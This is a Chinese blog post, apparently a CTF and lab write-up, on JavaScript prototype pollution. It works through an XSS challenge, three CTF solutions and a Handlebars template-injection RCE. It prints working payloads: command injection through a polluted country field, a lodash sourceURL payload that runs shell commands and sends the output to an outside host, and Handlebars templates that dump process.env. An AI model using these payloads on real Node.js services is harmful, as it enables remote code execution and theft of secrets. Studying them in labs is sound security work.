前言
最近看到一篇关于在模板注入中利用原型链污染RCE的文章,才想起来还没有总结过原型链污染这种JavaScript的特殊漏洞,所以打算写一篇文章,通过XSS、几道CTF题目和复现漏洞的方式,温故知新一下。
目录
原型链污染
有关原型链的详细解析看这里:https://blog.csdn.net/cc18868876837/article/details/81211729
我这里只举一个简单的栗子:
> a = []
< []
> a.__proto__.Twings = "Aluvion"
< "Aluvion"
> b = []
< []
> b.Twings
< "Aluvion"
简单来说就是通过给一个实例的原型对象赋值,影响同一个原型对象的其他实例。
XSS
prompt(1) to win 传送门:http://prompt.ml/13
关键代码:
...
function extend(obj) {
var source, prop;
for (var i = 1, length = arguments.length; i < length; i++) {
source = arguments[i];
for (prop in source) {
obj[prop] = source[prop];
}
}
return obj;
}
...
var config = extend({
source: 'http://placehold.it/350x150'
}, JSON.parse(input));
if (/[^\w:\/.]/.test(config.source)) {
delete config.source;
}
var source = config.source.replace(/"/g, '');
return '<img src="{{source}}">'.replace('{{source}}', source);
...
目标就是最后在source中逃逸出一个双引号来。
如果source的格式不符合要求,就会删除config.source,所以是不能直接通过source引入双引号的。这时候我们就可以使用原型链污染的方法了:给config的原型对象整一个恶意的source属性,同时提交一个不符合要求的source,这样一来config.source被删除后,后面的代码无法找到这个属性,就会去到config的原型对象去寻找,找到我们的恶意的source,我们就成功地污染了config.source,能够绕过过滤引入双引号。
但是这个replace要怎么绕过呢?
这就涉及到一个JavaScript的replace函数的黑魔法了:https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#Description 通过特殊替换模式,我们可以逃逸出一个双引号来,用以闭合img的src。
payload:
{"source":"~","__proto__":{"source":"$`onerror=prompt(1)>\""}}
{"source":"~","__proto__":{"source":"$'<script>prompt(1)</script>\""}}
CTF1
代码如下,用npm把依赖下载好,再在views目录随便写一个HTML,即可将环境跑起来:
const express = require('express')
var hbs = require('hbs');
var bodyParser = require('body-parser');
const md5 = require('md5');
var morganBody = require('morgan-body');
const app = express();
var user = []; //empty for now
var matrix = [];
for (var i = 0; i < 3; i++){
matrix[i] = [null , null, null];
}
function draw(mat) {
var count = 0;
for (var i = 0; i < 3; i++){
for (var j = 0; j < 3; j++){
if (matrix[i][j] !== null){
count += 1;
}
}
}
return count === 9;
}
app.use('/static', express.static('static'));
app.use(bodyParser.json());
app.set('view engine', 'html');
morganBody(app);
app.engine('html', require('hbs').__express);
app.get('/', (req, res) => {
for (var i = 0; i < 3; i++){
matrix[i] = [null , null, null];
}
res.render('index');
})
app.get('/admin', (req, res) => {
/*this is under development I guess ??*/
if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');
}
else {
res.status(403).send('Forbidden');
}
}
)
app.post('/api', (req, res) => {
var client = req.body;
var winner = null;
if (client.row > 3 || client.col > 3){
client.row %= 3;
client.col %= 3;
}
matrix[client.row][client.col] = client.data;
console.log(matrix);
for(var i = 0; i < 3; i++){
if (matrix[i][0] === matrix[i][1] && matrix[i][1] === matrix[i][2] ){
if (matrix[i][0] === 'X') {
winner = 1;
}
else if(matrix[i][0] === 'O') {
winner = 2;
}
}
if (matrix[0][i] === matrix[1][i] && matrix[1][i] === matrix[2][i]){
if (matrix[0][i] === 'X') {
winner = 1;
}
else if(matrix[0][i] === 'O') {
winner = 2;
}
}
}
if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'X'){
winner = 1;
}
if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'O'){
winner = 2;
}
if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'X'){
winner = 1;
}
if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'O'){
winner = 2;
}
if (draw(matrix) && winner === null){
res.send(JSON.stringify({winner: 0}))
}
else if (winner !== null) {
res.send(JSON.stringify({winner: winner}))
}
else {
res.send(JSON.stringify({winner: -1}))
}
})
app.listen(3000, () => {
console.log('app listening on port 3000!')
})
代码很简单,目标就是向/admin POST一个querytoken,并且正好与服务端的admintoken的MD5值相等。admintoken是undefined的,所以我们需要想办法修改它,这时候我们仔细审计代码,可以看到这么几行代码:
...
var user = [];
var matrix = [];
...
var client = req.body;
matrix[client.row][client.col] = client.data;
我们可以看到,admintoken所在的user实例和matrix实例都是数组类型,而后面又以我们可控的输入对它进行了两级的赋值,那么这里是不是就存在一个原型链污染的漏洞?
我们可以通过覆盖matrix的原型对象,来污染user.admintoken,这样一来admintoken就是我们可控的了,解题脚本如下:
# -*- coding:utf8 -*-
import requests
import json
headers = {
'Content-Type': 'application/json'
}
data = {
'row': '__proto__',
'col': 'admintoken',
'data': 'Twings'
}
myd = requests.session()
url = "http://localhost:3000/api"
url2 = "http://localhost:3000/admin?querytoken=f25758d1dec0c49eb22049d3080e87d0"
myd.post(url, headers=headers, data=json.dumps(data))
print myd.get(url2).content
CTF2
server.js:
var fs = require('fs');
var server = require('http').createServer()
var io = require('socket.io')(server)
var clientManager = require('./clientManager')
var helper = require('./helper')
var defaultSettings = JSON.parse(fs.readFileSync('default_settings.json', 'utf8'));
function sendMessageToClient(client, from, message) {
var msg = {
from: from,
message: message
};
client.emit('message', msg);
console.log(msg)
return true;
}
function sendMessageToChannel(channel, from, message) {
var msg = {
from: typeof from !== 'string' ? clientManager.getUsername(from): from,
message: message,
channel: channel
};
if(typeof from !== 'string') {
if(!clientManager.isSubscribedTo(from, channel)) {
console.log('Could not send message',msg,' from',
clientManager.getUsername(from),'to',channel,'because he is not subscribed.')
return false;
}
}
var clients = clientManager.getSubscribedToChannel(channel);
for(var i = 0; i<clients.length;i++) {
if(typeof from !== 'string') {
if(clients[i].id == from.id) {
continue;
}
}
clients[i].emit('message', msg);
}
console.log(msg)
return true;
}
io.on('connection', function (client) {
client.on('register', function(inUser) {
try {
newUser = helper.clone(JSON.parse(inUser))
if(!helper.validUser(newUser)) {
sendMessageToClient(client,"Server",
'Invalid settings.')
return client.disconnect();
}
var keys = Object.keys(defaultSettings);
for (var i = 0; i < keys.length; ++i) {
if(newUser[keys[i]] === undefined) {
newUser[keys[i]] = defaultSettings[keys[i]]
}
}
if (!clientManager.isUserAvailable(newUser.name)) {
sendMessageToClient(client,"Server",
newUser.name + ' is not available')
return client.disconnect();
}
clientManager.registerClient(client, newUser)
return sendMessageToClient(client,"Server",
newUser.name + ' registered')
} catch(e) { console.log(e); client.disconnect() }
});
client.on('join', function(channel) {
try {
clientManager.joinChannel(client, channel);
sendMessageToClient(client,"Server",
"You joined channel", channel)
var u = clientManager.getUsername(client);
var c = clientManager.getCountry(client);
sendMessageToChannel(channel,"Server",
helper.getAscii("User " + u + " living in " + c + " joined channel"))
} catch(e) { console.log(e); client.disconnect() }
});
client.on('leave', function(channel) {
try {
client .join(channel);
clientManager.leaveChannel(client, channel);
sendMessageToClient(client,"Server",
"You left channel", channel)
var u = clientManager.getUsername(client);
var c = clientManager.getCountry(client);
sendMessageToChannel(channel, "Server",
helper.getAscii("User " + u + " living in " + c + " left channel"))
} catch(e) { console.log(e); client.disconnect() }
});
client.on('message', function(message) {
try {
message = JSON.parse(message);
if(message.channel === undefined) {
console.log(clientManager.getUsername(client),"said:", message.msg);
} else {
sendMessageToChannel(message.channel, client, message.msg);
}
} catch(e) { console.log(e); client.disconnect() }
});
client.on('disconnect', function () {
try {
console.log('client disconnect...', client.id)
var oldclient = clientManager.removeClient(client);
if(oldclient !== undefined) {
for (const [channel, state] of Object.entries(oldclient.ch)) {
if(!state) continue;
sendMessageToChannel(channel, "Server",
"User " + oldclient.u.name + " left channel");
}
}
} catch(e) { console.log(e); client.disconnect() }
})
client.on('error', function (err) {
console.log('received error from client:', client.id)
console.log(err)
})
});
server.listen(3000, function (err) {
if (err) throw err;
console.log('listening on port 3000');
});
helper.js:
var exports = module.exports = {
clone: function(obj) {
if (typeof obj !== 'object' ||
obj === null) {
return obj;
}
var newObj;
var cloneDeep = false;
if (!Array.isArray(obj)) {
if (Buffer.isBuffer(obj)) {
newObj = new Buffer(obj);
}
else if (obj instanceof Date) {
newObj = new Date(obj.getTime());
}
else if (obj instanceof RegExp) {
newObj = new RegExp(obj);
}
else {
var proto = Object.getPrototypeOf(obj);
if (proto &&
proto.isImmutable) {
newObj = obj;
}
else {
newObj = Object.create(proto);
cloneDeep = true;
}
}
}
else {
newObj = [];
cloneDeep = true;
}
if (cloneDeep) {
var keys = Object.getOwnPropertyNames(obj);
for (var i = 0; i < keys.length; ++i) {
var key = keys[i];
var descriptor = Object.getOwnPropertyDescriptor(obj, key);
if (descriptor &&
(descriptor.get ||
descriptor.set)) {
Object.defineProperty(newObj, key, descriptor);
}
else {
newObj[key] = this.clone(obj[key]);
}
}
}
return newObj;
},
validUser: function(inp) {
var block = ["source","port","font","country",
"location","status","lastname"];
if(typeof inp !== 'object') {
return false;
}
var keys = Object.keys( inp);
for(var i = 0; i< keys.length; i++) {
key = keys[i];
if(block.indexOf(key) !== -1) {
return false;
}
}
var r =/^[a-z0-9]+$/gi;
if(inp.name === undefined || !r.test(inp.name)) {
return false;
}
return true;
},
getAscii: function(message) {
var e = require('child_process');
return e.execSync("cowsay '" + message + "'").toString();
}
}
clientManager.js:
var helper = require('./helper')
var exports = module.exports = {
clients: {},
getUserByClient: function(client) {
return this.clients[client.id]
},
registerClient: function (client, user) {
this.clients[client.id] = { 'c': client,
'u': user,
'ch': {}
};
},
removeClient: function (client) {
var client_old = this.clients[client.id]
if(client_old === undefined)
return client_old
delete client_old.c
client_old = helper.clone(client_old)
delete this.clients[client.id];
return client_old
},
isUserAvailable: function (userName) {
for (var [key, user] of Object.entries(this.clients)) {
if(user.u.name == userName) {
return false;
}
}
return true;
},
getUsername: function (client) {
return this.clients[client.id].u.name;
},
getLastname: function (client) {
return this.clients[client.id].u.lastname;
},
getCountry: function (client) {
return this.clients[client.id].u.country;
},
getLocation: function (client) {
return this.clients[client.id].u.location;
},
getStatus: function (client) {
return this.clients[client.id].u.status;
},
joinChannel: function (client, channel) {
this.clients[client.id].ch[channel] = true;
},
leaveChannel: function (client, channel) {
this.clients[client.id].ch[channel] = false;
},
getSubscribedToChannel: function(channel) {
var subscribed = [];
for (var [key, user] of Object.entries(this.clients)) {
if(user.ch[channel] === true) {
subscribed.push(user.c);
}
}
return subscribed;
},
isSubscribedTo: function(client, channel) {
var user = this.getUserByClient(client)
for (var [chs, state] of Object.entries(user.ch)) {
if(state === true && chs === channel) {
return true;
}
}
return false;
},
};
client.js:
const io = require('socket.io-client')
const socket = io.connect('https://chat.dctfq18.def.camp')
if(process.argv.length != 4) {
console.log('name and channel missing')
process.exit()
}
console.log('Logging as ' + process.argv[2] + ' on ' + process.argv[3])
var inputUser = {
name: process.argv[2],
};
socket.on('message', function(msg) {
console.log(msg.from,"[", msg.channel!==undefined?msg.channel:'Default',"]", "says:\n", msg.message);
});
socket.on('error', function (err) {
console.log('received socket error:')
console.log(err)
})
socket.emit('register', JSON.stringify(inputUser));
socket.emit('message', JSON.stringify({ msg: "hello" }));
socket.emit('join', process.argv[3]);//ps: you should keep your channels private
socket.emit('message', JSON.stringify({ channel: process.argv[3], msg: "hello channel" }));
socket.emit('message', JSON.stringify({ channel: "test", msg: "i own you" }));
default_settings.json:
{
"name": "Default",
"lastname": "Username",
"status": "Status Text",
"location": "127.0.0.1",
"country": "No Man`s Land",
"source": "Website",
"port": "3000"
}
package.json:
{
"name": "chat",
"version": "1.0.0",
"description": "DCTF",
"main": "NA",
"dependencies": {
"socket.io": "^2.1.1",
"socket.io-client": "^2.1.1"
},
"devDependencies": {},
"scripts": {
"test": "NA"
},
"repository": {
"type": "git",
"url": "NA"
},
"keywords": [
"DCTF"
],
"author": "Andrei",
"license": "UNLICENSED"
}
审计一下代码,可以看到代码实现了一个socket服务器,客户端可以进行注册、加入聊天室、发言等,而最可疑的地方则在helper.js的getAscii函数:
getAscii: function(message) {
var e = require('child_process');
return e.execSync("cowsay '" + message + "'").toString();
}
很明显如果message可控,那么这里就存在一个命令注入漏洞,我们去看看函数调用,可以看到有两个地方用相同的参数调用了这个函数:
sendMessageToChannel(channel, "Server", helper.getAscii("User " + u + " living in " + c + " left channel"))
如果我们可以控制注册时的name和country,就可以进行命令注入了。接下来看一下注册逻辑,发现代码调用了validUser函数进行了过滤:
...
var block = ["source","port","font","country",
"location","status","lastname"];
...
for(var i = 0; i< keys.length; i++) {
key = keys[i];
if(block.indexOf(key) !== -1) {
return false;
}
}
var r =/^[a-z0-9]+$/gi;
if(inp.name === undefined || !r.test(inp.name)) {
return false;
}
...
name只能由小写字母和数字组成,而我们不能对country进行设置,那怎么办呢?我们能不能通过原型链来污染country?可以看到服务端调用helper.clone来克隆了我们的JSON输入,我们仔细审计helper.clone函数,可以看到最后进行了对象克隆赋值,将本来只是属性名的__proto__指向了对象原型:
newObj[key] = this.clone(obj[key]);
我们可以使用vscode来断点调试一下:
成功覆盖了原型对象,这样一来我们就可以注入命令了。
payload:
const io = require('socket.io-client')
const socket = io.connect('http://127.0.0.1:3000')
console.log(process.argv.length);
if(process.argv.length != 4) {
console.log('name and channel missing')
process.exit()
}
console.log('Logging as ' + process.argv[2] + ' on ' + process.argv[3])
var inputUser = {
name: process.argv[2],
};
socket.on('message', function(msg) {
console.log(msg.from,"[", msg.channel!==undefined?msg.channel:'Default',"]", "says:\n", msg.message);
});
socket.on('error', function (err) {
console.log('received socket error:')
console.log(err)
})
socket.emit('register', '{"name":"Twings", "__proto__":{"country":"\';ls;echo \'lala"}}')
socket.emit('message', JSON.stringify({ msg: "hello" }));
socket.emit('join', process.argv[3]);//ps: you should keep your channels private
socket.emit('message', JSON.stringify({ channel: process.argv[3], msg: "hello channel" }));
socket.emit('message', JSON.stringify({ channel: "test", msg: "i own you" }));
CTF3
源码地址:https://github.com/phith0n/code-breaking/tree/master/2018/thejs
注意lodash版本为4.17.4,高版本的merge函数无法污染原型链。
代码很简单,只有一个页面,逻辑也很简单,将选择的语言加入session,然后渲染模板。关注这两部分代码:
let data = req.session.data || {language: [], category: []}
if (req.method == 'POST') {
data = lodash.merge(data, req.body)
req.session.data = data
}
fs.readFile(filePath, (err, content) => {
if (err) return callback(new Error(err))
let compiled = lodash.template(content)
let rendered = compiled({...options})
return callback(null, rendered)
})
merge是一个容易发生原型链污染的函数:
我们可以通过这个函数来污染某个属性,那我们应该对谁下手呢?我们同样可以断点调试,然后跟入函数中看看,比如代码调用的lodash的另一个函数lodash.template:
var sourceURL = '//# sourceURL=' +
('sourceURL' in options
? options.sourceURL
: ('lodash.templateSources[' + (++templateCounter) + ']')
) + '\n';
...
var result = attempt(function() {
return Function(importsKeys, sourceURL + 'return ' + source)
.apply(undefined, importsValues);
});
可以看到在options.sourceURL存在的情况下,会将options.sourceURL赋值给sourceURL,然后拼接进入Function的第二个参数中,所以我们只要污染了options.sourceURL,我们的恶意代码就会经过attempt、baseRest、overRest,最后来到apply通过func.call调用,我们就可以执行任意Javascript代码了。
payload:
# -*- coding:utf8 -*-
import requests
import json
headers = {
'Content-Type': 'application/json'
}
data = {
'__proto__': {
'sourceURL': "test\nvar require = global.require || global.process.mainModule.constructor._load;"
"var result = require('child_process').execSync('dir');"
"var req = require('http').request(`http://*.*.*.*/?${result}`);"
"req.end();\n//"
}
}
myd = requests.session()
url = "http://localhost:3000"
myd.post(url, headers=headers, data=json.dumps(data))
myd.get(url)
Handlebars模板注入到RCE
用package.json安装4.0.12版本的handlebars,然后写个测试脚本:
var handlebars = require('handlebars'),
fs = require('fs');
data = {
"name": "Twings"
}
fs.readFile('example.html', 'utf-8', function(error, source){
var template = handlebars.compile(source);
var html = template(data);
console.log(html)
});
两种payload:
{{#with this as |obj|}}
{{#with (obj.constructor.keys "1") as |arr|}} # 创建一个array
{{arr.pop}} # 把array清空
{{arr.push obj.constructor.name.constructor.bind}} # 把bind存入array
{{arr.pop}} # 因为handlerbars调用函数会加个this在后面,所以pop掉
{{arr.push "return JSON.stringify(process.env);"}} # 把payload存入array
{{arr.pop}} # 因为handlerbars调用函数会加个this在后面,所以pop掉
{{#blockHelperMissing obj.constructor.name.constructor.bind}}
{{#with (arr.constructor (obj.constructor.name.constructor.bind.apply obj.constructor.name.constructor arr))}} # 以obj.constructor.name.constructor为this,arr为参数调用obj.constructor.name.constructor.bind创建新函数,新函数拥有和obj.constructor.name.constructor一样的函数体,调用该函数会返回payload,将恶意函数绑定放到一个数组中,键为0
{{#with (obj.constructor.getOwnPropertyDescriptor this 0)}} # 获取描述符
{{#with (obj.constructor.defineProperty obj.constructor.prototype "toString" this)}} # 在obj.constructor.prototype上定义toString属性为恶意函数
{{#with (obj.constructor.constructor "test")}} # 这个test字符串可以省略,调用obj.constructor.constructor(this),调用的时候会触发this的toString,即返回并执行了'return JSON.stringify(process.env);'
{{this}} # 将执行结果打印出来
{{/with}}
{{/with}}
{{/with}}
{{/with}}
{{/blockHelperMissing}}
{{/with}}
{{/with}}
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}} # e.split创建数组
{{this.pop}}
{{this.push (lookup string.sub "constructor")}} # sub也可以换成其他函数,比如endsWith,将string.sub修改为了conslist.sub
{{this.pop}}
# 此时conslist中只有一个Function
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return JSON.stringify(process.env);"}}
{{this.pop}}
# 此时codelist中只有一个字符串payload
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}} # 通过apply调用Function执行代码
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
参考文章:
https://www.anquanke.com/post/id/176121
https://www.cnblogs.com/zhumingzhenhao/p/8337146.html
https://blog.csdn.net/leviscar/article/details/78484090
https://blog.l0ca1.xyz/Code-Breaking
https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html
https://www.leavesongs.com/PENETRATION/node-postgres-code-execution-vulnerability.html
Web CTF NodeJS 复现 前端 原型链污染 JavaScript
本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!